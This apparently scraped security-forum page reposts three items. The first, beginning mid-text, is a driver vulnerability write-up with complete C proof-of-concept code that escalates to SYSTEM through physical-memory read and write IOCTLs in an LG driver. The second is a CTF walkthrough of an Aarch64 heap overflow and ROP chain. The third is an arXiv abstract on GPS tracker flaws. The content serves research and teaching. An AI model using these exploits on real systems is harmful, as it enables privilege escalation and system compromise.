ways include ReadFile and WriteFile. In order for a driver to receive DeviceIoControl request from a user-mode program, it has to define a DispatchDeviceControl function and register its entry point in the IRP_MJ_DEVICE_CONTROL index for its MajorFunction dispatch table. We can run WinDbg or WinObjEx64 (as an administrator) to see which functions are registered by selecting the driver and viewing its properties: This is how it works for the Windows Driver Model (WDM). There is also the Kernel Mode Driver Framework (KMDF) which is seen as the more streamlined successor to WDM, and the Windows Display Driver Model (WDDM) for graphics drivers. Check out the resources at the bottom of this page to get familiar with them. Let's dig deeper into the DispatchDeviceControl function with IDA Freeware. In the functions window, you should be able to type the last three digits of the address DIRT identified for that function (2E0) and the resulting list will be considerably shorter. You'll know you're probably in the right function when you see many branches representing a jump table like the one below. From here we can navigate through the branches to identify each IOCTL and what it does. If you have a license for the Hex-Rays decompiler, it makes it much easier (by computing some of the IOCTL codes for you, appropriately naming variables and constants passed into Windows APIs, etc.). It will never be completely accurate, but I prefer to operate at the right level of abstraction (even if it's an approximation) and only go deeper into the weeds of disassembly when it's necessary. Let's take an in-depth look into the dispatch function that can read arbitrary memory (IOCTL 0x9C402FD8). The annotated disassembly is below as well as a pseudocode translation. After we review this function, you should identify and take a look into the function that can write arbitrary memory as an exercise. (This assumes you have some familiarity with reading disassembly, calling conventions, etc.) We can infer the variable names from their usage and the struct for the input buffer in the pseudocode can also be inferred through the dereferences of var_InputBuffer_Copy1 and var_InputBuffer_Copy2. The function first performs validation checks on the lengths provided in DeviceIoControl to ensure that the input buffer length meets a minimum of 12 bytes, and that the output buffer length is equal to or greater then the length specified in the request struct. If those checks pass, then the specified physical memory range is mapped to nonpaged system space using MmMapIoSpace and that range is looped through to copy each byte into the user buffer. When the loop is complete, the physical memory is unmapped using MmUnmapIoSpace and the function epilogue is reached. typedef struct { DWORDLONG address; DWORD length; } REQUEST; NTSTATUS function ReadPhysicalMemory(REQUEST* inBuffer, DWORD inLength, DWORD outLength, PBYTE outBuffer) { NTSTATUS statusCode = 0; if ((inLength >= 12) && (outLength >= *inBuffer.length)) { PVOID mappedMemory = MmMapIoSpace(*inBuffer.address, *inBuffer.length, MmNonCached); for (int i = 0; i < *inBuffer.length; i++) outBuffer[i] = mappedMemory[i]; MmUnmapIoSpace(*inBuffer.address, *inBuffer.length); } else { DbgPrint("LHA: ReadMemBlockQw Failed\n"); statusCode = STATUS_BUFFER_TOO_SMALL; } return statusCode; } To recap, our assumed constraints for the IOCTL dispatch function for reading physical memory are: The input buffer is a struct that contains the physical address to start reading from and the number of bytes to read. The size of the input buffer must be at least 12 bytes (8 byte QWORD for address + 4 byte DWORD for length). The size of the output buffer must be at least the length specified in the input struct. We can dynamically test our assumptions about this dispatch function using a tool called ioctlpus. This makes DeviceIoControl requests with arbitrary inputs and has an interface similar to Burp Repeater. I wrote it primarily for this use case: to validate my assumptions after I've taken the time to statically understand what a particular IOCTL dispatch function requires and returns. Although it's a little clunky, it's a time-saver from the tedious task of making minor code changes then recompiling every time I want to poke around a particular IOCTL function. Let's run it as a non-administrative user, and send a read request to it where we read 0xFFFF bytes at offset 0x10000000: Set the path to what DIRT identified: \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}. Set the IOCTL code to: 9C402FD8. Set the input size to: C (12 bytes in hexadecimal). Set the output size to: FFFF (65535 bytes in hexadecimal). Set the input buffer at offset 0, the address parameter in struct, to 00 00 00 01 00 00 00 00 (little-endian). Set the input buffer at offset 8, the length parameter, to FF FF 00 00 (little-endian). Click on the "Send" button. Success! It may not look like much, but in this discovery process we've confirmed: The conditions under which the driver loads, That it is indeed accessible from LPPs when loaded, and lastly, That it contains some vulnerable functions (e.g. reading and writing arbitrary physical memory) But wait, there's more! Exploit Development With these read and write primitives, we can figure out a strategy to get LPE. With access to kernel memory, we can perform a "token stealing" attack (more like token copying 🤷). For each process, the kernel defines an EPROCESS structure that serves as the process object. Every structure contains a security token, and the goal is to replace the token of an LPP with one of a process running as SYSTEM. There are a couple caveats to this: First, the typical strategy around token stealing relies on virtual memory addresses which we cannot dereference with our primitives. Instead, we can take a needle-in-haystack approach and find byte buffers in physical memory we know should be associated with that structure. Second, the EPROCESS structure is opaque and can be prone to changing between versions of Windows. This is something to be mindful of when calculating offsets. Petr Beneš' NtDiff tool can be helpful in determining these offset changes between versions. We're going to deep dive into the exploit code in the order it was developed. Before we do that, let's first review the diagram below to get an overview of the execution flow: We first want to create a handle to the device created by the driver so we can interact with it. After that, we want to identify our parent process so that we can elevate it. For example, if we launched PowerShell, then ran the exploit, this would result in all subsequent commands being executed as SYSTEM. Once we've identified the parent process, we'll construct our "needles" for the EPROCESS structures and find them in the physical memory "haystack". After identifying both structures, we'll copy the token from the System EPROCESS structure into the one for PowerShell, and Bob's your uncle. Keep in mind that this is just one strategy, and when you get into the details you'll notice it may not be the most reliable or accurate. ReWolf and hatRiot had different approaches for their exploits that are also worth checking out. Step 1: Interfacing with the LHA Driver Three functions are defined to interface with the driver. get_device_handle is used to create a handle to the device using CreateFile, in the same way you would create a handle to a file so you can read or write to it. With a handle, you can use the DeviceIoControl API to send requests to the driver's DispatchDeviceControl function. phymem_read and phymem_write are wrapper functions using DeviceIoControl to make the appropriate requests to the driver. We're defining the READ_REQUEST and WRITE_REQUEST structs based on what we inferred from IDA and validated with ioctlpus. #define DEVICE_SYMBOLIC_LINK "\\\\.\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}" #define IOCTL_READ_PHYSICAL_MEMORY 0x9C402FD8 #define IOCTL_WRITE_PHYSICAL_MEMORY 0x9C402FDC typedef struct { DWORDLONG address; DWORD length; } READ_REQUEST; typedef struct { DWORDLONG address; DWORD length; DWORDLONG buffer; } WRITE_REQUEST; HANDLE get_device_handle(char* device_symbolic_link) { HANDLE device_handle = INVALID_HANDLE_VALUE; device_handle = CreateFileA(device_symbolic_link, // Device to open GENERIC_READ | GENERIC_WRITE, // Request R/W access FILE_SHARE_READ | FILE_SHARE_WRITE, // Allow other processes to R/W NULL, // Default security attributes OPEN_EXISTING, // Default disposition 0, // No flags/attributes NULL); // Don't copy attributes return device_handle; } PBYTE phymem_read(HANDLE device_handle, DWORDLONG address, DWORD length) { // Prepare input and output buffers. READ_REQUEST input_buffer = { address, length }; PBYTE output_buffer = (PBYTE)malloc(length); DWORD bytes_returned = 0; DeviceIoControl(device_handle, // Device to be queried IOCTL_READ_PHYSICAL_MEMORY, // Operation to perform &input_buffer, // Input buffer pointer sizeof(input_buffer), // Input buffer size output_buffer, // Output buffer pointer length, // Output buffer size &bytes_returned, // Number of bytes returned (LPOVERLAPPED)NULL); // Synchronous I/O return output_buffer; } DWORD phymem_write(HANDLE device_handle, DWORDLONG address, DWORD length, DWORDLONG buffer) { // Prepare input and output buffers. WRITE_REQUEST input_buffer = { address, length, buffer }; DWORD output_address = NULL; DWORD bytes_returned = 0; DeviceIoControl(device_handle, // Device to be queried IOCTL_WRITE_PHYSICAL_MEMORY, // Operation to perform &input_buffer, // Input buffer pointer sizeof(input_buffer), // Input buffer size (PVOID)&output_address, // Output buffer pointer sizeof(output_address), // Output buffer size &bytes_returned, // Number of bytes returned (LPOVERLAPPED)NULL); // Synchronous I/O return output_address; } Step 2: Finding EPROCESS Structures in Physical Memory Another function, phymem_find is created on top of phymem_read so that it can find buffers in memory. The memmem function is also implemented to support phymem_find, and functions similarly to strstr but with support for buffers with null bytes. phymem_find accepts a range of addresses (start_address and stop_address), the size of the buffer to be read (search_space), and the buffer to find (search_buffer and buffer_len). int memmem(PBYTE haystack, DWORD haystack_size, PBYTE needle, DWORD needle_size) { int haystack_offset = 0; int needle_offset = 0; haystack_size -= needle_size; for (haystack_offset = 0; haystack_offset <= haystack_size; haystack_offset++) { for (needle_offset = 0; needle_offset < needle_size; needle_offset++) if (haystack[haystack_offset + needle_offset] != needle[needle_offset]) break; // Next character in haystack. if (needle_offset == needle_size) return haystack_offset; } return -1; } DWORDLONG phymem_find(HANDLE device_handle, DWORDLONG start_address, DWORDLONG stop_address, DWORD search_space, PBYTE search_buffer, DWORD buffer_len) { DWORDLONG match_address = -1; // Cap the search space to the max available. if ((start_address + search_space) > stop_address) return match_address; PBYTE read_buffer = phymem_read(device_handle, start_address, search_space); int offset = memmem(read_buffer, search_space, search_buffer, buffer_len); free(read_buffer); if (offset >= 0) match_address = start_address + offset; return match_address; } Now that we're able to search physical memory with phymem_find, we'll want to develop a capability for finding EPROCESS structures. Ideally we should have our search buffer (or needle) be a valid, reliable, and parsimonious subset of the structure where once identified we can find our security token at a fixed offset. We can use WinDbg to find potential needle candidates: 0: kd> * Get a listing of processes and their EPROCESS addresses. 0: kd> !dml_proc Address PID Image file name ffffb704`2d0993c0 4 System ffffb704`31d8b040 198 smss.exe ... snip ... 0: kd> * Dump EPROCESS struct for System process. 0: kd> dt nt!_EPROCESS ffffb704`2d0993c0 +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : 0x00000000`00000004 Void +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffb704`31d8b328 - 0xfffff803`8c3f3c20 ] +0x2f8 RundownProtect : _EX_RUNDOWN_REF ... snip ... +0x358 Token : _EX_FAST_REF ... snip ... +0x448 ImageFilePointer : (null) +0x450 ImageFileName : [15] "System" +0x45f PriorityClass : 0x2 '' +0x460 SecurityPort : (null) We'll know the name and PID for each process we're targeting, so the UniqueProcessId and ImageFileName fields should be good candidates. Problem is that we won't be able to accurately predict the values for every field between them. Instead, we can define two needles: one that has ImageFileName and another that has UniqueProcessId. We can see that their corresponding byte buffers have predictable outputs. 0: kd> * Show byte buffer for ImageFileName ("System") + PriorityClass (0x00000002): 0: kd> db ffffb704`2d0993c0+450 l0x13 ffffb704`2d099810 53 79 73 74 65 6d 00 00-00 00 00 00 00 00 00 02 System.......... ffffb704`2d099820 00 00 00 ... 0: kd> * Show byte buffer for ProcessLock (0x00000000`00000000) + UniqueProcessId (0x00000000`00000004): 0: kd> db ffffb704`2d0993c0+2d8 l0x10 ffffb704`2d099698 00 00 00 00 00 00 00 00-04 00 00 00 00 00 00 00 ................ Let's define structs for these needles and a phymem_find_eprocess function that will find and return the physical address for a process object when provided with an address range and the two needles. It will look for ImageFileName + PriorityClass first, and if there's a match, confirm by checking ProcessLock + UniqueProcessId at a fixed offset. Including these additional fields will help increase our confidence that we're finding the right data in memory. // EPROCESS offsets (Windows 10 v1703-1903): #define OFFSET_PROCESSLOCK 0x2D8 #define OFFSET_TOKEN 0x358 #define OFFSET_IMAGEFILENAME 0x450 typedef struct { DWORDLONG ProcessLock; DWORDLONG UniqueProcessID; } EPROCESS_NEEDLE_01; typedef struct { CHAR ImageFileName[15]; DWORD PriorityClass; } EPROCESS_NEEDLE_02; DWORDLONG phymem_find_eprocess(HANDLE device_handle, DWORDLONG start_address, DWORDLONG stop_address, EPROCESS_NEEDLE_01 needle_01, EPROCESS_NEEDLE_02 needle_02) { DWORDLONG search_address = start_address; DWORDLONG match_address = NULL; DWORDLONG eprocess_addr = NULL; DWORD search_space = 0x00001000; PBYTE needle_buffer_01 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_01)); memcpy(needle_buffer_01, &needle_01, sizeof(EPROCESS_NEEDLE_01)); PBYTE needle_buffer_02 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_02)); memcpy(needle_buffer_02, &needle_02, sizeof(EPROCESS_NEEDLE_02)); while (TRUE) { if ((search_address + search_space) >= stop_address) { free(needle_buffer_01); free(needle_buffer_02); return match_address; } if (search_address % 0x100000 == 0) { printf("Searching from address: 0x%016I64X.\r", search_address); fflush(stdout); } match_address = phymem_find(device_handle, search_address, stop_address, search_space, needle_buffer_02, sizeof(EPROCESS_NEEDLE_02)); if (match_address > search_address) { eprocess_addr = match_address - OFFSET_IMAGEFILENAME; PBYTE buf = phymem_read(device_handle, eprocess_addr + OFFSET_PROCESSLOCK, sizeof(EPROCESS_NEEDLE_01)); if (memcmp(needle_buffer_01, buf, sizeof(EPROCESS_NEEDLE_01)) == 0) return eprocess_addr; else free(buf); } search_address += search_space; } free(needle_buffer_01); free(needle_buffer_02); return 0; } Some potential issues we can foresee with this approach: Reliability: Will PriorityClass and ProcessLock always have the values we're expecting? Validity: Could it return a match that's actually not an EPROCESS structure? Efficiency: How can we determine an optimal start address that return a result in the least amount of time? I looked into these only empirically and found that this worked most of the time. When it came to the address range, I also encountered the same issue that ReWolf had where a part of the scan would slow down significantly because it was accessing addresses that are reserved for hardware I/O. Blacklisting those sub-ranges could be possible using NtQuerySystemInformation but that requires elevation which is not useful right now. The machines I tested on had at least 8 GB of memory, so starting at offset 0x100000000 seemed to be a sweet spot. Step 3: Finding the Parent Process We know that the name and PID of our System process will be constant, but we can't say the same of the parent process of the exploit. So let's figure out what those values are is so we can populate the needle structs. Two functions can be defined for this: one finds the PID of the current process (get_parent_pid), and another gets the name of a given process (get_process_name). Both use the CreateToolhelp32Snapshot and Process32First/Next APIs to traverse through the list of processes. DWORD get_parent_pid(DWORD pid) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe32); do { if (pe32.th32ProcessID == pid) return pe32.th32ParentProcessID; } while (Process32Next(hSnapshot, &pe32)); return 0; } void get_process_name(DWORD pid, PVOID buffer_ptr) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe32); do { if (pe32.th32ProcessID == pid) { memcpy(buffer_ptr, &pe32.szExeFile, strlen(pe32.szExeFile)); return; } } while (Process32Next(hSnapshot, &pe32)); } Step 4: Stealing the System Token Now that we have a way getting the addresses of our EPROCESS structures for our System and parent processes, let's read the security token from the System process and copy it into our parent process using our read and write primitives. void duplicate_token(HANDLE device_handle, DWORDLONG source_eprocess, DWORDLONG target_eprocess) { DWORDLONG source_token = NULL; DWORDLONG target_token = NULL; // Read security token of System into source_token. memcpy(&source_token, phymem_read(device_handle, source_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Source token (0x%016I64X): 0x%016I64X.\n", source_eprocess + OFFSET_TOKEN, source_token); // Read security token of parent process into target_token. memcpy(&target_token, phymem_read(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Target token (0x%016I64X): 0x%016I64X.\n\n", target_eprocess + OFFSET_TOKEN, target_token); // Copy source token into target token. target_token = source_token; printf("Target token (0x%016I64X): 0x%016I64X => pre-commit.\n", target_eprocess + OFFSET_TOKEN, target_token); phymem_write(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG), target_token); // Read target token again to verify. memcpy(&target_token, phymem_read(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Target token (0x%016I64X): 0x%016I64X => post-commit.\n", target_eprocess + OFFSET_TOKEN, target_token); } Step 5: Putting it All Together The main function ties the previous steps together so that we can gain LPE. To recap, we created wrapper functions for DeviceIoControl so that we can interface with the driver and read/write arbitrary memory. Then we extended the read function to search the memory haystack for needles, and extended that to search for EPROCESS structures using needle structs we defined. After developing the capability to find our parent process, we can identify the EPROCESS structures and pass them to a function that will perform the token stealing operation. int main() { printf("LG Device Manager LHA Driver LPE POC (@Jackson_T)\n"); printf("Compiled on: %s %s\n", __DATE__, __TIME__); printf("Tested on: Windows 10 x64 v1709\n\n"); // Get a handle to the LHA driver's device. HANDLE device_handle = get_device_handle(DEVICE_SYMBOLIC_LINK); DWORDLONG root_pid = 4; DWORDLONG user_pid = get_parent_pid(GetCurrentProcessId()); DWORDLONG root_eprocess = NULL; DWORDLONG user_eprocess = NULL; DWORDLONG start_address = 0x100000000; DWORDLONG stop_address = _UI64_MAX; // Define our needles. EPROCESS_NEEDLE_01 needle_root_process_01 = { 0, root_pid }; EPROCESS_NEEDLE_02 needle_root_process_02 = { "System", 2 }; EPROCESS_NEEDLE_01 needle_user_process_01 = { 0, user_pid }; EPROCESS_NEEDLE_02 needle_user_process_02 = { 0 }; get_process_name(user_pid, &needle_user_process_02.ImageFileName); needle_user_process_02.PriorityClass = 2; // Search for the EPROCESS structures. printf("Finding EPROCESS Tokens in System (PID=%d) and %s (PID=%d)...\n\n", (DWORD)root_pid, needle_user_process_02.ImageFileName, (DWORD)user_pid); printf("Search range start: 0x%016I64X.\n", start_address, stop_address); root_eprocess = phymem_find_eprocess(device_handle, start_address, stop_address, needle_root_process_01, needle_root_process_02); printf("EPROCESS for %08Id: 0x%016I64X.\n", root_pid, root_eprocess); user_eprocess = phymem_find_eprocess(device_handle, start_address, stop_address, needle_user_process_01, needle_user_process_02); printf("EPROCESS for %08Id: 0x%016I64X.\n\n", user_pid, user_eprocess); // Perform token stealing. duplicate_token(device_handle, root_eprocess, user_eprocess); CloseHandle(device_handle); if (strcmp(needle_user_process_02.ImageFileName, "explorer.exe") == 0) { printf("\nPress [Enter] to exit..."); while (getchar() != '\n'); } return 0; } If all compiles as expected, you should see the exploit work like this: Thank you for taking the time to read this! Please ping me if you have any feedback, questions, or notice any errata. Greetz fly out to ReWolf, hatRiot, gsuberland, slipstream/RoL, matrosov, and the LGE PSRT. References and Resources Books A Guide to Kernel Exploitation (Perla and Oldani, 2010) Practical Reverse Engineering (Dang, Gazet, Bachaalany, 2014): Chapter 3 Methodology Talks WDM: Windows Driver Attack Surface (van Sprundel, 2015) KMDF: Reverse Engineering and Bug Hunting on KMDF Drivers (Nissim, 2018) WDDM: Windows Kernel Graphics Driver Attack Surface (van Sprundel, 2014) Windows LPE Techniques Hunting for Privilege Escalation in Windows Environment (Kheirkhabarov, 2018) Windows Privilege Escalation Guide (McFarland, 2018) Abusing Token Privileges For LPE (Alexander and Breen, 2017) whoami /priv: Abusing Token Privileges (Pierini, 2018) @Jackson_T Sursa: http://www.jackson-t.ca/lg-driver-lpe.html
-
- 1
-
-
ROP-ing on Aarch64 - The CTF Style
Nytro posted a topic in Reverse engineering & exploit development
ROP-ing on Aarch64 - The CTF Style 18 Feb 2019 This is walkthrough of how we managed to ROP on Aarch64, coming from a completely x86/64 background. We were the kind of people who would just not touch anything that is not x86/64. The nyanc challenge from the Insomni’hack teaser 2019 was the final push we needed to start learning about arm exploitation, with its lucrative heap-note interface. Overall, me (Jazzy) and VoidMercy spent about 24 hrs on this challenge and still didn’t manage to solve it in time, but the whole experience was worth it. As neither of us had any experience in exploiting Aarch64 and we couldn’t find a lot of documentation on how it is done, the methods and techniques we used are probably not be the best ones, but we learned a lot along the way. Aarch64 basics Before we dive into the challenge, let’s just skim over the basics quickly. I’ll try to explain everything to the best of my ability and knowledge. Registers Aarch64 has 31 general purpose registers, x0 to x30. Since it’s a 64 bit architechture, all the registers are 64 bit. But we can access the lower 32 bits of thes registers by using them with the w prefix, such as w0 and w1. There is also a 32nd register, known as xzr or the zero register. It has multiple uses which I won’t go into but in certain contexts, it is used as the stack pointer (esp equivalent) and is thereforce aliased as sp. Instructions Here are some basic instructions: mov - Just like it’s x86 counterpart, copies one register into another. It can also be used to load immediate values. mov x0, x1; copies x1 into x0 mov x1, 0x4141; loads the value 0x4141 in x1 str/ldr - store and load register. Basically stores and loads a register from the given pointer. str x0, [x29]; store x0 at the address in x29 ldr x0, [x29]; load the value from the address in x29 into x0 stp/ldp - store and load a pair of registers. Same as str/ldr but instead with a pair of registers stp x29, x30, [sp]; store x29 at sp and x30 at sp+8 bl/blr - Branch link (to register). The x86 equivalent is call. Basically jumps to a subroutine and stores the return address in x30. blr x0; calls the subroutine at the address stored in x0 b/br - Branch (to register). The x86 equivalent is jmp. Basically jumps to the specified address br x0; jump to the address stored in x0 ret - Unlike it’s x86 equivalent which pops the return address from stack, it looks for the return address in the x30 register and jumps there. Indexing modes Unlike x86, load/store instructions in Aarch64 has three different indexing “modes” to index offsets: Immediate offset : [base, #offset] - Index an offset directly and don’t mess with anything else ldr x0, [sp, 0x10]; load x0 from sp+0x10 Pre-indexed : [base, #offset]! - Almost the same as above, except that base+offset is written back into base. ldr x0, [sp, 0x10]!; load x0 from sp+0x10 and then increase sp by 0x10 Post-indexed : [base], #offset - Use the base directly and then write base+offset back into the base ldr x0, [sp], 0x10; load x0 from sp and then increase sp by 0x10 Stack and calling conventions The registers x0 to x7 are used to pass parameters to subroutines and extra parameters are passed on the stack. The return address is stored in x30, but during nested subroutine calls, it gets preserved on the stack. It is also known as the link register. The x29 register is also known as the frame pointer and it’s x86 equivalent is ebp. All the local variables on the stack are accessed relative to x29 and it holds a pointer to the previous stack frame, just like in x86. One interesting thing I noticed is that even though ebp is always at the bottom of the current stack frame with the return address right underneath it, the x29 is stored at an optimal position relative to the local variables. In my minimal testcases, it was always stored on the top of the stack (along with the preserved x30) and the local variables underneath it (basically a flipped oritentation compared to x86). The challenge We are provided with the challenge files and the following description: Challenge runs on ubuntu 18.04 aarch64, chrooted It comes with the challenge binary, the libc and a placeholder flag file. It was the mentioned that the challenge is being run in a chroot, so we probably can’t get a shell and would need to do a open/read/write ropchain. The first thing we need is to set-up an environment. Fortunately, AWS provides pre-built Aarch64 ubuntu server images and that’s what we will use from now on. Part 1 - The heap Not Yet Another Note Challenge... ====== menu ====== 1. alloc 2. view 3. edit 4. delete 5. quit We are greeted with a wonderful and familiar (if you’re a regular CTFer) prompt related to heap challenges. Playing with it a little, we discover an int underflow in the alloc function, leading to a heap overflow in the edit function: __int64 do_add() { __int64 v0; // x0 int v1; // w0 signed __int64 i; // [xsp+10h] [xbp+10h] __int64 v4; // [xsp+18h] [xbp+18h] for ( i = 0LL; ; ++i ) { if ( i > 7 ) return puts("no more room!"); if ( !mchunks[i].pointer ) break; } v0 = printf("len : "); v4 = read_int(v0); mchunks[i].pointer = malloc(v4); if ( !mchunks[i].pointer ) return puts("couldn't allocate chunk"); printf("data : "); v1 = read(0LL, mchunks[i].pointer, v4 - 1); LOWORD(mchunks[i].size) = v1; *(_BYTE *)(mchunks[i].pointer + v1) = 0; return printf("chunk %d allocated\n"); } __int64 do_edit() { __int64 v0; // x0 __int64 result; // x0 int v2; // w0 __int64 v3; // [xsp+10h] [xbp+10h] v0 = printf("index : "); result = read_int(v0); v3 = result; if ( result >= 0 && result <= 7 ) { result = LOWORD(mchunks[result].size); if ( LOWORD(mchunks[v3].size) ) { printf("data : "); v2 = read(0LL, mchunks[v3].pointer, (unsigned int)LOWORD(mchunks[v3].size) - 1); LOWORD(mchunks[v3].size) = v2; result = mchunks[v3].pointer + v2; *(_BYTE *)result = 0; } } return result; } If we enter 0 as len in alloc, it would allocate a valid heap chunk and read -1 bytes into it. Because read uses unsigned values, -1 would become 0xffffffffffffffff and the read would error out as it’s not possible to read such a huge value. With read erroring out, the return value (-1 for error) would then be stored in the size member of the global chunk struct. In the edit function, the size is used as a 16 bit unsigned int, so -1 becomes 0xffff, leading to the overflow Since this post is about ROP-ing and the heap in Aarch64 is almost the same as x86, I’ll just be skimming over the heap exploit. Because there was no free() in the binary, we overwrote the size of the top_chunk which got freed in the next allocation, giving us a leak. Since the challenge server was using libc2.27, tcache was available which made our lives a lot easier. We could just overwrite the FD of the top_chunk to get an arbitrary allocation. First we leak a libc address, then use it to get a chunk near environ, leaking a stack address. Finally, we allocate a chunk near the return address (saved x30 register) to start writing our ROP-chain. Part 2 - The ROP-chain Now starts the interesting part. How do we find ROP gadgets in Aarch64? Fortunately for us, ropper supports Aarch64. But what kind of gadgets exist in Aarch64 and how can we use them? $ ropper -f libc.so.6 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% Gadgets ======= 0x00091ac4: add sp, sp, #0x140; ret; 0x000bf0dc: add sp, sp, #0x150; ret; 0x000c0aa8: add sp, sp, #0x160; ret; .... Aaaaand we are blasted with a shitload of gadgets. Most of the these are actually not very useful as the ret depends on the x30 register. The address in x30 is where gadget will return when it executes a ret. If the gadget doesn’t modify x30 in a way we can control it, we won’t be able to control the exectuion flow and get to the next gadget. So to get a ROP-chain running in Aarch64, we can only use the gadgets which: perform the function we want pop x30 from the stack ret With our heap exploit, we were only able to allocate a 0x98 chunk on the stack and the whole open/read/write chain would take a lot more space, so the first thing we need is to read in a second ROP-chain. One way to do that is to call gets(stack_address), so we can basically write an infinite ROP-chain on the stack (provided no newlines). So how do we call gets()? It’s a libc function and we already have a libc leak, the only thing we need is to get the address of gets in x30 and a stack address in x0 (function parameters are passedin x0 to x7). After a bit of gadget hunting, here is the gadget I settled upon: 0x00062554: ldr x0, [x29, #0x18]; ldp x29, x30, [sp], #0x20; ret; It essentially loads x0 from x29+0x18 and then pop x29 and x30 from the top of the stack (ldp xx,xy [sp] is essentially equal to popping). It then moves stack down by 0x20 (sp+0x20 in post indexed addressing). In almost all the gadgets, most of loads/stores are done relative to x29 so we need to make sure we control it properely too. Here is how the stack looks at the epilogue of the alloc function just before the execution of our first gadget. It pops the x29 and x30 from the stack and returns, jumping to our first gadget. Since we control x29, we control x0. Now the only thing left is to return to gets, but it won’t work if we return directly at the top of gets. Why? Let’s look at the prologue of gets <_IO_gets>: stp x29, x30, [sp, #-48]! <_IO_gets+4>: mov x29, sp gets assume that the return address is in x30 (it would be in a normal execution) and thus it tries to preserve it on the stack along with x29. Unfortunately for us, since we reached there with ret, the x30 holds the address of gets itself. If this continues, it would pop the preserved x30 at the end of gets and then jump back to gets again in an infinite loop. To bypass it, we use a simple trick and return at gets+0x8, skipping the preservation. This way, when it pops x30 at the end, we would be able to control it and jump to our next gadget. This is the rough sketch of our first stage ROP-chain: gadget = libcbase + 0x00062554 #0x0000000000062554 : ldr x0, [x29, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret // to control x0 payload = "" payload += p64(next_x29) + p64(gadget) + p64(0x0) + p64(0x8) # 0x0 and 0x8 are the local variables that shouldn't be overwritten payload += p64(next_x29) + p64(gets_address) + p64(0x0) + p64(new_x29_stack) # Link register pointing to the next frame + gets() of libc + just a random stack variable + param popped by gadget_1 into x1 (for param of gets) Now that we have infinite space for our second stage ROP-chain, what should we do? At first we decided to do the open/read/write all in ROP but it would make it unnecessarily long and complex, so instead we mprotect() the stack to make it executable and then jump to shellcode we placed on the stack. mprotect takes 3 arguments, so we need to control x0, x1 and x2 to succeed. Well, we began gadget hunting again. We already control x0, so we found this gadget: gadget_1 = 0x00000000000ed2f8 : mov x1, x0 ; ret At first glance, it looks perfect, copying x0 into x1. But if you have been paying close attention, you would realize it doesn’t modify x30, so we won’t be able to control execution beyond this. What if we take a page from JOP (jump oriented programming) and find a gadget which given us the control of x30 and then jumps (not call) to another user controlled address? gadget_2 = 0x000000000006dd74 :ldp x29, x30, [sp], #0x30 ; br x3 Oh wowzie, this one gives us the control of x30 and then jumps to x3. Now we just need to control x3….. gadget_3 = 0x000000000003f8c8 : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret gadget_4 = 0x0000000000026dc4 : mov x3, x19 ; mov x2, x26 ; blr x20 The first gadget here gives us control of x19 and x20, the second one moves x19 into x3 and calls x20. Chaining these two, we can control x3 and still have control over the execution. Here’s our plan: Have x0 as 0x500 (mprotect length) with the same gadget we used before Use gadget_3 to make x19 = gadget_1 and x20 = gadget_2 return to gadget_4 from gadget_3, making x3 = x19 (gadget_1) gadget_4 calls x20 (gadget_2) gadget_2 gives us a controlled x30 and jumps to x3 (gadget_1) gadget_1 moves x0 (0x500) into x1 and returns Here’s the rough code equivalent: payload = "" payload += p64(next_x29) + p64(gadget_3) + p64(0x0) * x (depends on stack) #returns to gadget_3 payload += p64(next_x29) + p64(gadget_4) + p64(gadget_1) + p64(gadget_2) + p64(0x0) * 4 # moves gadget_1/3 into x19/20 and returns to gadget_4 payload += p64(next_x29) + p64(next_gadget) #setting up for the next gadget and moving x19 into x3. x20 (gadget_2) is called from gadget_4 That was haaard, now let’s see how we can control x2… gadget_6 = 0x000000000004663c : mov x2, x21 ; blr x3 This is the only new gadget we need. It moves x21 into x2 and calls x3. We can already control x21 and x3 with the help of gadget_4 and gadget_3. Now that we have full control over x0, x1 and x2, we just need to put it all together and shellcode the flag read. I won’t go into details about that. And that’s a wrap folks, you can find our final exploit here - Jazzy Sursa: https://blog.perfect.blue/ROPing-on-Aarch64 -
Spy the little Spies - Security and Privacy issues of Smart GPS trackers Pierre Barre, Chaouki Kasmi, Eiman Al Shehhi (Submitted on 14 Feb 2019) Tracking expensive goods and/or targeted individuals with high-tech devices has been of high interest for the last 30 years. More recently, other use cases such as parents tracking their children have become popular. One primary functionality of these devices has been the collection of GPS coordinates of the location of the trackers, and to send these to remote servers through a cellular modem and a SIM card. Reviewing existing devices, it has been observed that beyond simple GPS trackers many devices intend to enclose additional features such as microphones, cameras, or Wi-Fi interfaces enabling advanced spying activities. In this study, we propose to describe the methodology applied to evaluate the security level of GPS trackers with different capabilities. Several security flaws have been discovered during our security assessment highlighting the need of a proper hardening of these devices when used in critical environments. Comments: 13 pages, 10 figures Subjects: Cryptography and Security (cs.CR) Cite as: arXiv:1902.05318 [cs.CR] (or arXiv:1902.05318v1 [cs.CR] for this version) Bibliographic data [Enable Bibex(What is Bibex?)] Submission history From: Pierre Barre [view email] [v1] Thu, 14 Feb 2019 11:54:23 UTC (881 KB) Sursa: https://arxiv.org/abs/1902.05318
-
